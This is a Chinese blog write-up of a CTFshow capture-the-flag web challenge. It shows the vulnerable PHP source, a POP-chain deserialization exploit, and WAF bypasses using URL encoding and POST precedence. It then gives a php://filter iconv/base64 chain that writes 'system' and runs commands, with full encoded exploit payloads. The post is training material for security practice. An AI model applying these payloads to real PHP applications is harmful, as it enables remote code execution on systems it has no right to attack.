当前位置:   article > 正文

ctfshow元旦水友赛 easy_web_ctfshow 以假换真

ctfshow 以假换真

好家伙,过年都不让人好好过,为了一个flag硬是能折腾一天,记录一个对php://filter伪协议考的比较深的题,让我知道不能就知道个php://filter/read=convert.base64-encode/resource=flag.php了。

关于php://filter伪协议我看了觉得比较详细两篇文章,放下面了

PHP伪协议filter详解,php://filter协议过滤器_filter为协议-CSDN博客

浅谈 filter伪协议的特性_为什么file_get_content可以传入伪协议-CSDN博客

预期解

接下来进入正题,先看源码

  1. 开胃小菜,就让我成为签到题叭 <?php
  2. header('Content-Type:text/html;charset=utf-8');
  3. error_reporting(0);
  4. function waf1($Chu0){
  5. foreach ($Chu0 as $name => $value) {
  6. if(preg_match('/[a-z]/i', $value)){
  7. exit("waf1");
  8. }
  9. }
  10. }
  11. function waf2($Chu0){
  12. if(preg_match('/show/i', $Chu0))
  13. exit("waf2");
  14. }
  15. function waf_in_waf_php($a){
  16. $count = substr_count($a,'base64');
  17. echo "hinthinthint,base64喔"."<br>";
  18. if($count!=1){
  19. return True;
  20. }
  21. if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
  22. return True;
  23. }else{
  24. return false;
  25. }
  26. }
  27. class ctf{
  28. public $h1;
  29. public $h2;
  30. public function __wakeup(){
  31. throw new Exception("fastfast");
  32. }
  33. public function __destruct()
  34. {
  35. $this->h1->nonono($this->h2);
  36. }
  37. }
  38. class show{
  39. public function __call($name,$args){
  40. if(preg_match('/ctf/i',$args[0][0][2])){
  41. echo "gogogo";
  42. }
  43. }
  44. }
  45. class Chu0_write{
  46. public $chu0;
  47. public $chu1;
  48. public $cmd;
  49. public function __construct(){
  50. $this->chu0 = 'xiuxiuxiu';
  51. }
  52. public function __toString(){
  53. echo "__toString"."<br>";
  54. if ($this->chu0===$this->chu1){
  55. $content='ctfshowshowshowwww'.$_GET['chu0'];
  56. if (!waf_in_waf_php($_GET['name'])){
  57. file_put_contents($_GET['name'].".txt",$content);
  58. }else{
  59. echo "绕一下吧孩子";
  60. }
  61. $tmp = file_get_contents('ctfw.txt');
  62. echo $tmp."<br>";
  63. if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
  64. eval($tmp($_GET['cmd']));
  65. }else{
  66. echo "waf!";
  67. }
  68. file_put_contents("ctfw.txt","");
  69. }
  70. return "Go on";
  71. }
  72. }
  73. if (!$_GET['show_show.show']){
  74. echo "开胃小菜,就让我成为签到题叭";
  75. highlight_file(__FILE__);
  76. }else{
  77. echo "WAF,启动!";
  78. waf1($_REQUEST);
  79. waf2($_SERVER['QUERY_STRING']);
  80. if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
  81. unserialize($_GET['show_show.show']);
  82. }else{
  83. echo "被waf啦";
  84. }
  85. }

思路很清晰,一个POP链,绕过三个WAF,一个正则,一个__wakeup,然后写shell进文件,最后经过正则后RCE

先来看POP链,比较简单,但是有坑,

ctf() __destruct -> show() __call -> Chu0_write __toString
  1. <?php
  2. class ctf{
  3. public $h1;
  4. public $h2;
  5. }
  6. class show{
  7. }
  8. class Chu0_write{
  9. public $chu0;
  10. public $chu1;
  11. public $cmd;
  12. }
  13. $a=new ctf();
  14. $a->h1=new show();
  15. $a->h2=[[2=>new Chu0_write()]]; //注意这里的参数是ctf()的h2
  16. //__call($name,$args)中的$args已经是一个数组,所h2只用嵌套两层即可
  17. echo serialize($a);

得到最终POP链

O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:1:{i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";N;s:3:"cmd";N;}}}}

现在来看WAF,顺序依次是waf1->waf2->正则->waf_in_waf_php

waf1就是我们传递的参数值中不能含有a-z和A-Z,这里有个知识点,就是$_REQUEST的传参中POST的优先级比GET高,我们可以POST复制传递题目让我们GET的参数,waf1就会匹配POST的数据而忽略GET,从而绕过

waf2就是让我们GET传参中不能含有show,可是不论是参数还是POP链中都有show,这时我们就可以url编码绕过,注意这里还有个隐藏考点就是我之前讲过的传参规则,show_show.show需要写成show[show.show。

最后我们传参 

GET:?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%4f:%2b%33:%22%63%74%66%22:%32:%7b%73:%32:%22%68%31%22%3b%4f:%34:%22%73%68%6f%77%22:%30:%7b%7d%73:%32:%22%68%32%22%3b%61:%31:%7b%69:%30%3b%61:%31:%7b%69:%32%3b%4f:%31%30:%22%43%68%75%30%5f%77%72%69%74%65%22:%33:%7b%73:%34:%22%63%68%75%30%22%3b%4e%3b%73:%34:%22%63%68%75%31%22%3b%4e%3b%73:%33:%22%63%6d%64%22%3b%4e%3b%7d%7d%7d

POST:show[show.show=1

进入到tostring下

题目提示我们要用到base64,我第一个想到了php://filter,但是对php://filter的了解不深入,导致想了很久。并且这里只能写入txt文件,无法写马。

先看我的思路。我想的是利用php://filter/convert.base64-encode/resource=ctfw,让原来的内容乱码,从而执行我base64写入的方法,但是本地测试后发现不行,原因是因为他这里是将文件的内容当成一个函数,前面数据无论是什么,在拼接你写的内容后PHP都无法识别这个函数从而报错,除非前面的内容是比如php,你在后面拼接info,最后内容是phpinfo(),这时是PHP定义了的函数,语法上才不会报错,才会执行。

看了网上资料后我才有了新思路,我们可以让原来的内容即ctfshowshowshowwww,经过filter里的过滤器过滤后,变成不是base64里面可编码的字符比如 #@等,具体过滤器用法可以参加我放的两篇文章,现在将我们要执行的方法比如system,进行利用iconv进行utf-8(因为我们现在是utf-8编码)转成任意filter支持的字符编码(比如utf-16)

  1. <?php
  2. $b ='system';
  3. $payload = iconv('utf-8', 'utf-16', base64_encode($b)); //utf-16这里可以换成任意filter支持的字符编码
  4. file_put_contents('payload.txt', quoted_printable_encode($payload));
  5. //quoted_printable_encode这就是个特殊编码,目的只是为了可视化,因为编码后会乱码,
  6. //应该也可以用urlencode($payload),但是urlencode($payload)我本地测试是可以的,但题目环境不行
  7. $s = file_get_contents('payload.txt');
  8. $s = preg_replace('/=\r\n/', '', $s);
  9. echo $s;

然后利用php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw,这就是个求逆的过程,把我们convert.quoted-printable-encode进行decode,convert.iconv.utf-16.utf-8 将utf-16转回utf-8,最后convert.base64-decode进行base64解码,我们的写入的数据就恢复成system,而之前的内容即ctfshowshowshowwww,会在/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8后乱码并且无法进行base64解码,这时/convert.base64-decode/就会过滤掉非base64字符把原来的数据清空。最后打印环境变量即可得到flag

最终payload

GET:?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%39%3a%22%67%78%6e%67%78%6e%67%78%6e%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%31%3a%7b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%4e%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env

POST:show[show.show=1&name=1&chu0=1&cmd=1

得到flag

非预期解

直接扫后台,会发现有个phpinfo.php

直接访问,搜索flag,即可

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/807671
推荐阅读
相关标签
  

闽ICP备14008679号